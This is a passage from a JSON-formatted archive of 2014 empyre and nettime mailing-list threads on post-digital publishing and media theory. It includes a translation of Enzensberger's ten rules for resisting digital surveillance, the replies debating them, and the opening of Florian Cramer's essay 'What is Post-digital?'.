recognize in myself. Sometimes I wonder if I'm just\n> getting older and have more responsibilities.\n>\n> There is a real problem of our technologies being always on, too many\n> browser tabs open, the smart phone buzzing an email update, the\n> continual connection to social media streams - 24/7, real subsumption.\n> Of course, there's the obvious pharmacological dimensions of the info\n> attention economy as well, the rise of ADHD diagnoses, what Bifo\n> theorizes as the pharmacological character of the 'schizo-economy' -\n> including the need for 'panic' to be alleviated through the use of\n> cocaine, ritalin, speed, modafinil and other nootropics. Maybe\n> disciplinary software like Freedom and Anti-Social has something\n> post-digital about it, or more accurately, Morozov's locked up router\n> cable, smartphone and screwdrivers? That's the real neo-analogue\n> response!\n>\n> In any case, this backdrop of attention is crucial I think in terms of\n> how people deal with books today. It is something that Hayles, for\n> instance, has explored in her book How We Think within the context of\n> education and literary studies. Certainly, coping strategies have now\n> also become a major topic in the mainstream press, even when it comes\n> to ebooks as well -\n>\n> http://www.nytimes.com/2014/01/05/books/review/how-do-e-books-change-the-reading-experience.html?_r=0\n>\n> - M.\n>\n> --\n> Michael Dieter\n> Lecturer\n> Media Studies\n> The University of Amsterdam\n> Turfdraagsterpad 9\n> 1012 XT Amsterdam\n> http://home.medewerker.uva.nl/m.j.dieter/\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140220/c7e006a3/attachment.htm>\n",
                                        "date": "Thu Feb 20 17:38:24 EST 2014",
                                        "message-id": "6976",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006976.html",
                                        "content-type": "n/a",
                                        "author_name": "verlag at traumawien.at",
                                        "subject": "[-empyre-] HYBRID BOOKWORK, Week Two - Paradoxical Publishing, Postmedia, Critical Aesthetics"
                                    }
                                ],
                                "subject": "[-empyre-] HYBRID BOOKWORK, Week Two - Paradoxical Publishing, Postmedia, Critical Aesthetics"
                            }
                        ],
                        "subject": "[-empyre-] HYBRID BOOKWORK, Week Two - Paradoxical Publishing,\tPostmedia, Critical Aesthetics"
                    },
                    {
                        "from": "raley at english.ucsb.edu",
                        "id": "6946",
                        "content": "An HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140212/cd6ad14e/attachment.htm>\n",
                        "date": "Thu Feb 13 16:39:25 EST 2014",
                        "message-id": "6946",
                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006946.html",
                        "content-type": "n/a",
                        "author_name": "Rita Raley",
                        "subject": "[-empyre-] HYBRID BOOKWORK, Week Two - Paradoxical Publishing, Postmedia, Critical Aesthetics"
                    }
                ],
                "message-id": "6941",
                "date": "Wed Feb 12 04:27:24 EST 2014",
                "list": "empyre",
                "author_name": "Michael Dieter",
                "subject": "[-empyre-] HYBRID BOOKWORK, Week Two - Paradoxical Publishing, Postmedia, Critical Aesthetics"
            },
            {
                "content-type": "n/a",
                "from": "pold at cavi.au.dk",
                "id": "6978",
                "content": "I've been working on and off with relations between literature and digitization almost the last twenty years since I began my PhD on relations between media and literature affected by the digital. In my PhD dissertation, completed in 2000, it was my point that literature has consistently dealt with media as part of its content but also as a formal reflection taking up panoramic (Honor\u00e9 de Balzac) and cinematographic (Raymond Chandler, Steve Erickson) ways of structuring the urban experience of respectively Paris and Los Angeles. This generally happened in two ways: 1) an experiential, visual media related or multimedia-related way relating to the spread of new forms of (mainly but not only) visual experience ; 2) a formal, structural, bureaucratic way, e.g. relating to the rise of statistics, surveillance, intelligence, etc. With the computer we also see both threads as e.g. related to multimedia (games, etc.), GUIs and on the other hand programming, networked structures, hypertext can be said to follow the formal, structural, bureaucratic line of development, e.g. through control and management. However, my point at the time (2000) was that because of the digital, alphabetic nature of the digital, the computer was a medium (or a meta-/post-medium or perhaps language system?), which can be directly written, edited and in general treated like a language system. At that time my examples were etoy's digital hijack, jodi.org and i/o/d's webstalker. So in my understanding the computer and digital publishing was not a break with - but a continuation of print - an understanding, which I built on e.g. Walter Benjamin, Walter J. Ong and Florian Cramer among others.  In this way, the computer can be seen as a literary machine where the writing doesn't only happen on the surface as content, but through coding and structuring becomes part of the functioning of the medium.\n\nIn 2000 and 2004 when I published my dissertation this felt on pretty dry ground, at least nationally (the diss. is in Danish), and I moved on to digital aesthetics. However I've recently experienced a renewed interest from literary circles in work related to mine - perhaps because of the relative success of e-books. I've written on how it affects (digital) culture that it now becomes embedded in cultural interfaces and platforms such as smart-phones, tablets, e-readers and game consoles - all platforms that control copying and access through a controlled consumption scheme with heavy monitoring of user behaviour. This has actually led to quite some discussion nationally - both before and after Snowden - that e.g. Amazon, Apple, Microsoft and Google closely monitor their users reading behavior. Furthermore, I've collaborated with libraries in exploring the media changes, e.g. through installations of digital/electronic literature in library spaces such as the installation Ink created with colleagues and collaborators. (http://darc.imv.au.dk/?p=2931).\nThis installation can be seen as post-digital in that it aims to make people in libraries reflect on the media change by letting them compose poems (Queneau-style but written by a Danish author Peter-Clement Woetman) through using books as interaction device, producing texts on screen and on print. In this way it focuses on the media change, the ergodic reading process and social, performative collaboration. Another project has been conducting workshops with colleagues (Morten Riis, Andrew Prior, Sandra Boss, Lone Koefoed Hansen and more) around cassette tapes and bygone music media (which we've written on in the APRJA Transmediale newspaper and in the journal issue that comes out very soon). Furthermore we've been publishing, e.g. POD books in Danish and English by e.g. Christian Ulrik Andersen, Geoff Cox and Tatiana Bazzichelli and Geoff Cox and Christian Ulrik Andersen have done the newspaper series of which the post-digital newspaper was the fourth. (See http://darc.imv.au.dk/ and http://www.aprja.net/).\n\nConcludingly, things are strangely coming together for me, and I see the post-digital (sharing the idea that it is a crappy concept that is useful) as potentially a critical way to discuss media change confronted with digitization after the digital revolution is over. A few points to this:\n- The digital revolution is over. The utopian times are past. This is somewhat healthy, since we can now begin to look more concretely and in a sober way on the material changes that are happening and how they affect culture.\n- However, we also miss the utopian days now, when digital technologies and media are only about rationalization, capitalization, control, monitoring. How do we develop alternatives, when we've stopped believing in the power of technology? And this 'we' is not only 'us', but increasingly the broad culture, who've stopped believing in the promises of technology. We need alternative uses, designs, understandings - and perhaps we can find them by combining history, technology and cultural uses?\n- The post-digital is a broad realization that digitization is not a binary transformation from old to new media, but is a layered process affecting both production, archiving, distribution and reception in different combinations and ways.\n- The post-digital is thus a realization, that the digital does not simply transform everything into some virtual dimension, but that it is  - and needs to be in ways we haven't quite yet imagined - coupled with the material, spatial, urban, cultural, human flesh. This is both good and bad news.\n- The post-digital is an opportunity to develop the historical: both the histories of digital media, from Turing to Kurenniemi and the histories of media and media use from Raymond Williams to Matthew Fuller. Furthermore it is the opportunity to realize that this history is not linear nor straigh-forward but that e.g. the history of hypertext is forking and looping and the culture of the computer does not compute.\n\n Btw. I excuse I haven't been that active, but we're going through quite some turmoil at Aarhus University because of the biggest lay-off in Danish university history\u2026\n--\n-------------------------------------------------------------\nS\u00f8ren Pold\nLektor (Ass. Prof.), Ph.d.\nInformationsvidenskab & Digital Design\nDAC Katrinebjerg\nAarhus Universitet\nHelsingforsgade 14\nDK-8200 Aarhus N\nDanmark\n\nChair of the Research Program Humans & IT\nhttp://dac.au.dk/en/research/research-programmes/humans-and-information-technology/\nParticipatory Information Technology\nhttp://pit.au.dk/\nhttp://darc.imv.au.dk/\n\nOffice: Wiener 224\n**** NEW EMAIL**** pold at cavi.au.dk\n(+45) 871 61994\nskype: soerenpold\n-----------------------------------------------------------\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140226/6b6403dd/attachment.htm>\n",
                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006978.html",
                "follow-up": [
                    {
                        "from": "flrncrmr at gmail.com",
                        "id": "6981",
                        "content": "My own self-description is very similar to S\u00f8ren's. As matter of fact, both\nof us have worked on the same subjects and experienced similar developments\nof our research interests in the past 1 1/2 decades - with the difference\nhowever that I left university humanities in 2006. (Just as S\u00f8ren's or even\nmuch worse, my dissertation fell on dry ground and is probably my least\nknown and read text ever although it has appeared as a book by a reputable\nacademic publisher - for me the proof that either I can't write books or\nprint publishing is factually dead while being kept artificially alive as a\n'radioactive cadaver', to quote Raoul Vaneigem. My recent book Anti-Media\nmight be another such disaster despite greatest and most amicable support\nfrom Geert Lovink's Institute of Network Culture.) Since then, I have been\nworking for Rotterdam's art school which is part of a larger polytechnic,\nHogeschool Rotterdam. The Dutch dual system draws strong dividing lines\nbetween universities and polytechnics. Our research therefore has to be\nstrictly practice- and work field-oriented. My own task is to investigate\nthe impact of changes in media and communication on art and design\nprofessions by creating interconnections between the school and external\npractitioners, and help the school adapt its curricula.\n\nBesides that, I work for WORM (http://www.worm.org), a space for\nexperimental music, film and events of all kinds, as dean of the WORM\nParallel University (http://wpu.worm.org), an DIY university for\nnon-traditional students. The more our students do themselves, the easier\nthey can obtain our Master of Parallels (MoP) degree. The Dutch music\ncritic Peter Bruyn was our first laureate.\n\nResearch facilitated by my center Creating 010 includes Alessandro\nLudovico's book \"Post-Digital Print\", Olia Lialina's research on Geocities,\nHyves and Rotterdam Internet caf\u00e9s [\nhttp://contemporary-home-computing.org/still-there/intro.html], Renee\nTurner's research - in collaboration with students and teachers from Piet\nZwart Institute - on privacy and surveillance [\nhttp://www.metamute.org/services/openmute-press/sniff-scrape-crawl...-privacy-surveillance-and-our-shadowy-data-double]\nand Aymeric Mansoux' ongoing research on the misunderstandings of Free\nSoftware, Open Source and copyleft in the arts [\nhttp://dpi.studioxx.org/demo/?q=fr/node/304].\n\nIn art and design education, we see that most teachers still live in a\npre-digital world. Students, on the other hand, are avid consumers mainly\nof social media but hardly participate in online culture or produce work in\nelectronic form. This has been researched for us by my Willem de Kooning\nAcademy colleague Aldje van Meer [\nhttp://iwouldratherdesignaposterthanawebsite.nl/]. Currently, 70-80 graphic\ndesigners graduate at our school every year who have been almost\nexclusively educated to be print designers. At the same time, print\npublishing is shrinking while electronic publishing is steadily growing.\n(Rotterdam, the second-largest city of the Netherlands with 600,000\ninhabitants - 1.1 Million including the metropolitan area -, currently has\nno large bookstore anymore; only two very small ones are left in the city\ncenter.) According to our knowledge, there are less than ten graphic\ndesigners in the entire Netherlands who know to design an epub file.\n\nI only mention the above to put things into perspective. When we are\ntalking about post-digital culture, and new hybrid forms of analog and\ndigital, electronic and print media, then often our problem remains that\nthe first step to digital hasn't been made yet. There is a tendency in this\ncountry that the art schools, most of which have more design than art\nstudents and have curricula based on the classical Bauhaus curriculum,\nresort to an anti-industrial Arts-and-Crafts niche of beautifully crafted\nnon-electronic products. For me, this implies a highly political issue of\nart retreating to a luxury niche, giving up on the idea that it should\nengage with and shape everyday culture. (A concept underlying - among\nothers - constructivist, Fluxus and Situationist avant-garde, and\ninterventionist net art/media art as well.)\n\nWhen I use and cautiously advocate the term \"post-digital\", I can't avoid\nplaying with the fire that this will get misunderstood as a carte blanche\nfor uncritical indulgence in neo-crafts.\n\nI've collaborated in S\u00f8ren's transmediale newspaper and 'A Peer-Reviewed\nJournal' (http://www.aprja.net/) with an essay on useful definitions of\n'post-digital'.\n\nI agree with S\u00f8ren's concluding points so fully and wholeheartedly that\nI'll just repeat them:\n\n- The digital revolution is over. The utopian times are past. This is\n> somewhat healthy, since we can now begin to look more concretely and in a\n> sober way on the material changes that are happening and how they affect\n> culture.\n>\n> - However, we also miss the utopian days now, when digital technologies\n> and media are only about rationalization, capitalization, control,\n> monitoring. How do we develop alternatives, when we've stopped believing in\n> the power of technology? And this 'we' is not only 'us', but increasingly\n> the broad culture, who've stopped believing in the promises of technology.\n> We need alternative uses, designs, understandings - and perhaps we can find\n> them by combining history, technology and cultural uses?\n>\n> - The post-digital is a broad realization that digitization is not a\n> binary transformation from old to new media, but is a layered process\n> affecting both production, archiving, distribution and reception in\n> different combinations and ways.\n>\n> - The post-digital is thus a realization, that the digital does not simply\n> transform everything into some virtual dimension, but that it is  - and\n> needs to be in ways we haven't quite yet imagined - coupled with the\n> material, spatial, urban, cultural, human flesh. This is both good and bad\n> news.\n>\n> - The post-digital is an opportunity to develop the historical: both the\n> histories of digital media, from Turing to Kurenniemi and the histories of\n> media and media use from Raymond Williams to Matthew Fuller. Furthermore it\n> is the opportunity to realize that this history is not linear nor\n> straigh-forward but that e.g. the history of hypertext is forking and\n> looping and the culture of the computer does not compute.\n>\n\nFlorian\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140227/a24f0b47/attachment.htm>\n",
                        "date": "Fri Feb 28 08:46:32 EST 2014",
                        "message-id": "6981",
                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006981.html",
                        "content-type": "n/a",
                        "author_name": "Florian Cramer",
                        "subject": "[-empyre-] post-digital print"
                    }
                ],
                "message-id": "6978",
                "date": "Wed Feb 26 19:48:29 EST 2014",
                "list": "empyre",
                "author_name": "S\u00f8ren Pold",
                "subject": "[-empyre-] post-digital print"
            },
            {
                "id": "00000",
                "content": "Published yesterday by Frankfurter Allgemeine Zeitung,\nhttp://www.faz.net/frankfurter-allgemeine-zeitung/enzensbergers-regeln-fuer-die-digitale-welt-wehrt-euch-12826195.html\n\nWritten by the same Enzensberger who wrote \"Constituents of a Theory of the\nMedia\" (first published in German as \"Baukasten zu einer Theorie der\nMedien\" in Kursbuch, 20, 1970, first published in English in the New Left\nReview, no. 64, 1970, reprinted in 2003 in the The New Media Reader).\n\nThis is an unauthorized, quick translation.\n\n\nDefend Yourselves!\n\nFor those who aren't nerds, hackers or cryptographers and have better\nthings to do than keep up with the pitfalls of digitalization every hour,\nthere are ten simple rules to resist exploitation and surveillance:\n\n1\nIf you own a mobile phone, throw it away. You had a life before this\ndevice, and the human race will continue to exist after its disappearance.\nOne should avoid the superstitious worship that it enjoys. Neither those\ndevices nor their users are any smart, but only those who plug them to us\nin order to accumulate boundless riches and control ordinary people.\n\n2\nWhoever offers something for free is suspicious. One should categorically\nrefuse anything that passes itself off as a bargain, bonus or freebie. It's\nalways a lie. The dupes pay with their privacy, their data and often enough\nwith their money.\n\n3\nOnline banking is a blessing, but only for secret services and criminals.\n\n4\nGovernments and industries want to abolish cash. They would like to get rid\nof a legal tender that anyone can redeem. Coins and bills are annoying for\nbanks, traders, security and fiscal authorities. Plastic cards are not only\ncheaper to produce. Our watchdogs prefer them because they allow tracing of\nany transaction. Therefore, we all should avoid credit, debit and loyalty\ncards. These permanent companions are bothersome and dangerous.\n\n5\nThe madness of networking every object of daily use - from toothbrush to\nTV, from car to refrigerator - via the Internet, can only be met with total\nboycott. Their manufacturers don't give a single thought to privacy. They\nhave a only one vulnerable body part, their bank account. Only bankruptcy\nwill teach them.\n\n6\nThe same applies to politicians. They ignore any objection to their actions\nand omissions. They are submissive to the financial markets and don't dare\nto go against the activities of secret services. But they have a vested\ninterest to be reelected. As long as the right to vote still exists, one\nshould deny anyone the vote who tolerates digital expropriation instead of\ntaking action against it.\n\n7\nE-Mail is nice, fast and free. So watch out! If you have a confidential\nmessage or don't want to be surveilled, take a postcard and pencil.\nHandwriting is hard to read for machines. Nobody suspects important\ninformation on a 45 cent picture postcard. You don't have to resort to a\ndead drop like in old-fashioned spy novels.\n\n8\nAvoid obtaining goods and services via Internet. Vendors like Amazon, Ebay\nand so on store all data and molest their customers with advertising spam.\nAnonymous shopping is better. Acceptable exceptions can be made for\nindividual sites that one knows well.\n\n9\nJust like network television, the big Internet corporations are primarily\nfinanced by advertising. This way, they steal their customers' time and\nattention. Someone who ceaseless yells at you and molests you deserves\npunishment. It's recommendable to stay away from everything marketed this\nway, and switch off, once and for all, the stations terrorizing you with\nadvertising. This should not only be done for hygienic reasons. As we know,\nparticularly the American mega corporations collaborate closely with secret\nservices to spy out and control, if possible, any human activity.\n\n10\nNetworks like Facebook call themselves \"social\" despite their eagerness to\ntreat their customers in the utmost anti-social ways. Whoever wants to have\nfriends like this, is a hopeless case. Those who are unfortunate enough to\nbe part of such a company, should try to take flight as fast as possible.\nThis is not so easy. An octopus won't consent to letting his prey escape.\n\n* * *\n\nThese simple measures can't solve the political problem that society is\nfaced with. Given the passiveness and servility of the parties ruling this\ncountry [the coalition of Christian and Social Democrats in Germany], it's\nremarkable enough if one notable politician speaks up. His name is Martin\nSchulz, and he's not only president of the European Parliament but even a\nSocial Democrat. Until now, neither he nor his party objected to the\nrampant security and control mania in any remarkable way. All respective\nviolations, no matter whether foreign imports or domestic products of\nGerman workmanship, have been given the nod. Storing data, intercepting,\nappeasing - the standard procedure.\n\nThe sleep of reason will continue to the day when a majority of this\ncountry's citizens will experience firsthand what has been done to them.\nPerhaps, they will rub their eyes and ask why they let it slip in a time\nwhen resistance was still possible.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "Nettime <nettime-l {AT} kein.org>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00000.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> Hans Magnus Enzensberger: Rules for the digital world",
                "from": "lorian Cramer <flrncrmr {AT} gmail.com>",
                "follow-up": [
                    {
                        "from": "Cornelia Sollfrank <cornelia {AT} artwarez.org>",
                        "content": "Thanks for sending via email.\n\nImagine you would have had to hand-write the information and send it to all subscribers of nettime via postcard;-)\n\nCornelia\n\nAm 01.03.2014 um 14:53 schrieb Florian Cramer <flrncrmr {AT} gmail.com>:\n\n> Published yesterday by Frankfurter Allgemeine Zeitung,\n> http://www.faz.net/frankfurter-allgemeine-zeitung/enzensbergers-regeln-fuer-die-digitale-welt-wehrt-euch-12826195.html\n> \n> Written by the same Enzensberger who wrote \"Constituents of a Theory of the\n> Media\" (first published in German as \"Baukasten zu einer Theorie der\n> Medien\" in Kursbuch, 20, 1970, first published in English in the New Left\n> Review, no. 64, 1970, reprinted in 2003 in the The New Media Reader).\n> \n> This is an unauthorized, quick translation.\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00002",
                        "date": "Sun, 2 Mar 2014 14:30:32 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "c8677b2855fa68c30b063aaa768cc36e {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00002.html",
                        "content-type": "text/plai",
                        "author_name": "Cornelia Sollfrank",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "Geert Lovink <geert {AT} xs4all.nl>",
                        "content": "Thanks Cornelia, and Florian for making the translation. I don't mind the piece but what misses here is a bit of self-reflection of a writer who has been inside the media realm his entire life, and who is unable to put his own 'offline romanticism' in the larger picture of the (German) history of ideas. Apart from this, it is also sad that he is simply badly informed about the current state of the postal system in the age of global surveillance. One link will do: http://www.nytimes.com/2013/07/04/us/monitoring-of-snail-mail.html (U.S. Postal Service Logging All Mail for Law Enforcement). Geert\n\n\nOn 2 Mar 2014, at 2:30 PM, Cornelia Sollfrank <cornelia {AT} artwarez.org> wrote:\n\n> Thanks for sending via email.\n> \n> Imagine you would have had to hand-write the information and send it to all subscribers of nettime via postcard;-)\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00005",
                        "date": "Mon, 3 Mar 2014 12:24:57 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "0171892d06b00cbc0198859b93ae60d1 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00005.html",
                        "content-type": "text/plai",
                        "author_name": "Geert Lovink",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "Nick <nettime {AT} njw.me.uk>",
                        "content": "Quoth Cornelia Sollfrank:\n\n> Thanks for sending via email.\n> \n> Imagine you would have had to hand-write the information and send it to all subscribers of nettime via postcard;-)\n\nWell in fairness the postcard suggestion was \"If you have a \nconfidential message\", which I'm pretty sure doesn't count for \nposting a translation of a message to a publically archived list.\n\nThanks Florian for the translation, I like the rules very much. I do \nwish the sort of \"stay safe online\" advice schools give out was more \nlike this. But that assumes schools to be quite different \ninstitutions than they are.\n\nThe one rule I wasn't sure about was #3, \"Online banking is a \nblessing, but only for secret services and criminals.\" It's \ncertainly useful for a criminal (though depending on the bank, that \nmay be more of a problem for them than for you, according to if \nthey'll admit responsibility and refund you), but is it useful for \nsecret services? All the transactions you can make with online \nbanking are recorded and (I presume) can be obtained easily by \nsecret services just as readily offline.\n\nNick\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00007",
                        "date": "Mon, 3 Mar 2014 07:54:57 -0500",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "fa84ab1649a397e64d0a21c9b9fd4c1c {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00007.html",
                        "content-type": "text/plai",
                        "author_name": "Nick",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "verlag {AT} traumawien.at",
                        "content": "If you have a confidential message use poetry for encryption.\n\n\"Moazzam Begg, who spent three years in Guant?namo Bay before being\nreleased without charge in January 2005, began writing poetry as a way of\nexplaining what he was going through. He knew that everything he wrote\nwould be censored, so used poetry to try to describe his situation to his\nfamily.\" (http://www.theguardian.com/books/2007/feb/26/poetry.guantanamo)\n\nI think today's kids are instinctively aware of those issues. It's a matter\nof \"being On/Off\" for them, as they put it into words. Like walking down a\nstreet in public, \"being On\".\n\n\nOn Mon, Mar 3, 2014 at 1:54 PM, Nick <nettime {AT} njw.me.uk> wrote:\n\n> Quoth Cornelia Sollfrank:\n>\n> > Thanks for sending via email.\n> >\n> > Imagine you would have had to hand-write the information and send it to\n> all subscribers of nettime via postcard;-)\n>\n> Well in fairness the postcard suggestion was \"If you have a\n> confidential message\", which I'm pretty sure doesn't count for\n> posting a translation of a message to a publically archived list.\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00008",
                        "date": "Mon, 3 Mar 2014 15:24:03 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "a398fb9892c770549fe4a64ad0fdc5e4 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00008.html",
                        "content-type": "text/plai",
                        "author_name": "verlag",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "content-type": "text/plai",
                        "from": "Florian Cramer <flrncrmr {AT} gmail.com>",
                        "id": "00009",
                        "content": "Since several people asked me off-list about my own opinion on\nEnzensberger's piece and my reasons for posting it here, the best answer I\ncan give is an essay I completed just a few weeks ago for  _A Peer-Review\nJournal_ (APRJA, http://www.aprja.net), an Open Access journal on digital\nculture edited by Christian Ulrik Andersen and Geoff Cox at Aarhus\nUniversity in Denmark. While it now reads like a reply to Enzensberger, it\nwas actually written early as part of a larger \"post-digital research\"\nworkshop organized by Aarhus University at Kunsthal Aarhus in collaboration\nwith transmediale festival; all other essays in the current number of APRJA\nwere products of this workshop, too.\n\nThe original essay, including images that are missing here, has been\npublished at http://www.aprja.net/?p=1318\n\nFlorian\n\n\n\n# What is 'Post-digital'?\n\n## Typewriters vs. imageboard memes\n\nIn January 2013, a picture of a young man typing on a mechanical typewriter\nwhile sitting on a park bench went 'viral' on the popular website [Reddit](\nhttp://www.reddit.com/r/funny/comments/16vlkc/youre_not_a_real_hipster_until/).\nThe image was presented in the typical style of an 'image macro' or\n'imageboard meme' (Klok 16-19), with a sarcastic caption in bold white\nImpact typeface that read: \"You're not a real hipster ??? until you take your\ntypewriter to the park\".\n\nThe meme, which was still making news at the time of writing this paper in\nlate 2013 (Hermlin), nicely illustrates the rift between 'digital' and\n'post-digital' cultures. Imageboard memes are arguably the best example of\na contemporary popular mass culture which emerged and developed entirely on\nthe Internet. Unlike earlier popular forms of visual culture such as comic\nstrips, they are anonymous creations ??? and as such, even gave birth to the\nnow-famous Anonymous movement, as described by (Klok 16-19).\n\nThe 'digital' imageboard meme portrays the 'analog' typewriter hipster as\nits own polar opposite ??? in a strictly technical sense however, even a\nmechanical typewriter is a digital writing system, as I will explain later\nin this text. Also, the typewriter's keyboard makes it a direct precursor\nof today's personal computer systems, which were used for typing the text\nof the imageboard meme in question. Yet in a colloquial sense, the\ntypewriter is definitely an 'analog' machine, as it does not contain any\ncomputational electronics.\n\nIn 2013, using a mechanical typewriter rather than a mobile computing\ndevice is, as the imageboard meme suggests, no longer a sign of being\nold-fashioned. It is instead a deliberate choice of renouncing electronic\ntechnology, thereby calling into question the common assumption that\ncomputers, as meta-machines, represent obvious technological progress and\ntherefore constitute a logical upgrade from any older media technology ???\nmuch in the same way as using a bike today calls into question the common\nassumption, in many Western countries since World War II, that the\nautomobile is by definition a rationally superior means of transportation,\nregardless of the purpose or context.\n\nTypewriters are not the only media which have recently been resurrected as\nliterally post-digital devices: other examples include vinyl records, and\nmore recently also audio cassettes, as well as analog photography and\nartists' printmaking. And if one examines the work of contemporary young\nartists and designers, including art school students, it is obvious that\nthese 'old' media are vastly more popular than, say, making imageboard\nmemes.[^1]\n\n\n## Post-digital: a term that sucks but is useful\n\n### 1. Disenchantment with 'digital'\n\nI was first introduced to the term 'post-digital' in 2007 by my\nthen-student Marc Chia ??? now Tara Transitory, also performing under the\nmoniker _One Man Nation_. My first reflex was to dismiss the whole concept\nas irrelevant in an age of cultural, social and economic upheavals driven\nto a large extent by computational digital technology. Today, in the age of\nubiquitous mobile devices, drone wars and the gargantuan data operations of\nthe NSA, Google and other global players, the term may seem even more\nquestionable than it did in 2007: as either a sign of ignorance of our\ncontemporary reality, or else of some deliberate Thoreauvian-Luddite\nwithdrawal from this reality.\n\nMore pragmatically, the term 'post-digital' can be used to describe either\na contemporary disenchantment with digital information systems and media\ngadgets, or a period in which our fascination with these systems and\ngadgets has become historical ??? just like the dot-com age ultimately became\nhistorical in the 2013 novels of Thomas Pynchon and Dave Eggers. After\nEdward Snowden's disclosures of the NSA's all-pervasive digital\nsurveillance systems, this disenchantment has quickly grown from a niche\n'hipster' phenomenon to a mainstream position ??? one which is likely to have\na serious impact on all cultural and business practices based on networked\nelectronic devices and Internet services.\n\n### 2. Revival of 'old' media\n\nWhile a Thoreauvian-Luddite digital withdrawal may seem a tempting option\nfor many, it is fundamentally a na??ve position, particularly in an age when\neven the availability of natural resources depends on global computational\nlogistics, and intelligence agencies such as the NSA intercept paper mail\nas well as digital communications. In the context of the arts, such a\nwithdrawal seems little more than a rerun of the 19th-century Arts and\nCrafts movement, with its programme of handmade production as a means of\nresistance to encroaching industrialisation. Such (romanticist) attitudes\nundeniably play an important role in today's renaissance of artists'\nprintmaking, handmade film labs, limited vinyl editions, the rebirth of the\naudio cassette, mechanical typewriters, analog cameras and analog\nsynthesizers. An empirical study conducted by our research centre Creating\n010 in Rotterdam among Bachelor students from most of the art schools in\nthe Netherlands indicated that contemporary young artists and designers\nclearly prefer working with non-electronic media: given the choice, some\n70% of them \"would rather design a poster than a website\" (Van Meer, 14).\nIn the Netherlands at least, education programmes for digital communication\ndesign have almost completely shifted from art academies to engineering\nschools, while digital media are often dismissed as commercial and\nmainstream by art students (Van Meer, 5). Should we in turn dismiss their\nposition as romanticist and neo-Luddite?\n\n\n## Post-what?\n\n### Post-digital = postcolonial; post-digital ??? post-histoire\n\nOn closer inspection however, the dichotomy between digital big data and\nneo-analog do-it-yourself (DIY) is really not so clear-cut. Accordingly,\n'post-digital' is arguably more than just a sloppy descriptor for a\ncontemporary (and possibly nostalgic) cultural trend. It is an objective\nfact that the age in which we now live is _not_ a post-digital age, neither\nin terms of technological developments ??? with no end in sight to the trend\ntowards further digitisation and computerisation ??? nor from a\nhistorico-philosophical perspective. Regarding the latter, (Cox) offers a\nvalid critique of the \"periodising logic\" embedded in the term\n'post-digital', which places it in the dubious company of other\nhistorico-philosophical 'post'-isms, from postmodernism to post-histoire.\n\nHowever, 'post-digital' can be defined more pragmatically and meaningfully\nwithin popular cultural and colloquial frames of reference. This applies to\nthe prefix 'post' as well as the notion of 'digital'. The prefix 'post'\nshould not be understood here in the same sense as postmodernism and\npost-histoire, but rather in the sense of post-punk (a continuation of punk\nculture in ways which are somehow still punk, yet also beyond punk);\npost-communism (as the ongoing social-political reality in former Eastern\nBloc countries); post-feminism (as a critically revised continuation of\nfeminism, with blurry boundaries with 'traditional', unprefixed feminism);\npostcolonialism (see next paragraph); and, to a lesser extent,\npost-apocalyptic (a world in which the 